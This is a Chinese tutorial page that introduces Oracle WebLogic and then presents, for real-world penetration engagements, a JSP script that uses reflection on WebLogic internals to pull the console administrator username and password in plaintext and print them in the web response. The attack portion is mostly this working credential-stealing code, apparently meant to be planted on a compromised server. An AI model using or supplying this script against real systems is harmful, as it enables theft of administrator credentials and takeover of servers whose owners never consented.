zl程序教程

您现在的位置是:首页 >  Java

当前栏目

无需解密获取Weblogic明文账户密码

2023-04-18 14:44:18 时间

WebLogic简介

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。

将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

WebLogic是美商Oracle的主要产品之一,是并购BEA得来。

是商业市场上主要的Java(J2EE)应用服务器软件(application server)之一,是世界上第一个成功商业化的J2EE应用服务器, 已推出到12c(12.2.1.3) 版。而此产品也延伸出WebLogic Portal,WebLogic Integration等企业用的中间件(但当下Oracle主要以Fusion Middleware融合中间件来取代这些WebLogic Server之外的企业包),以及OEPE(Oracle Enterprise Pack for Eclipse)开发工具。

复现过程

平时实战中遇上weblogic的站点时都是通过密钥进行解密获取console的密码,甚至解密方法就都有很多种。

目前出现新的方式可直接获取明文,测试效果:

代码细节:

脚本实现:

<%@page import="java.lang.reflect.Field" %>
<%@page import="java.lang.reflect.Method" %>

<%
  /**
   * 公众号:小生观察室
   */
  try{
    ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
    Class httpDataTransferHandler = classLoader.loadClass("weblogic.deploy.service.datatransferhandlers.HttpDataTransferHandler");
    Class managementService = classLoader.loadClass("weblogic.management.provider.ManagementService");
    Class authenticatedSubject = classLoader.loadClass("weblogic.security.acl.internal.AuthenticatedSubject");
    Class propertyService = classLoader.loadClass("weblogic.management.provider.PropertyService");
    Field KERNE_ID = httpDataTransferHandler.getDeclaredField("KERNE_ID");
    KERNE_ID.setAccessible(true);
    Method getPropertyService = managementService.getMethod("getPropertyService",authenticatedSubject);
    getPropertyService.setAccessible(true);
    Object prop = getPropertyService.invoke((Object) null,KERNE_ID.get((Object) null));
    Method getTimestamp1 = propertyService.getMethod("getTimestamp1");
    getTimestamp1.setAccessible(true);
    Method getTimestamp2 = propertyService.getMethod("getTimestamp2");
    getTimestamp2.setAccessible(true);
    String username = (String) getTimestamp1.invoke(prop);
    String password = (String) getTimestamp2.invoke(prop);
    response.getWriter().write( username + "/" + password);
  }catch (Exception e) {
    e.printStackTrace();
  }
%>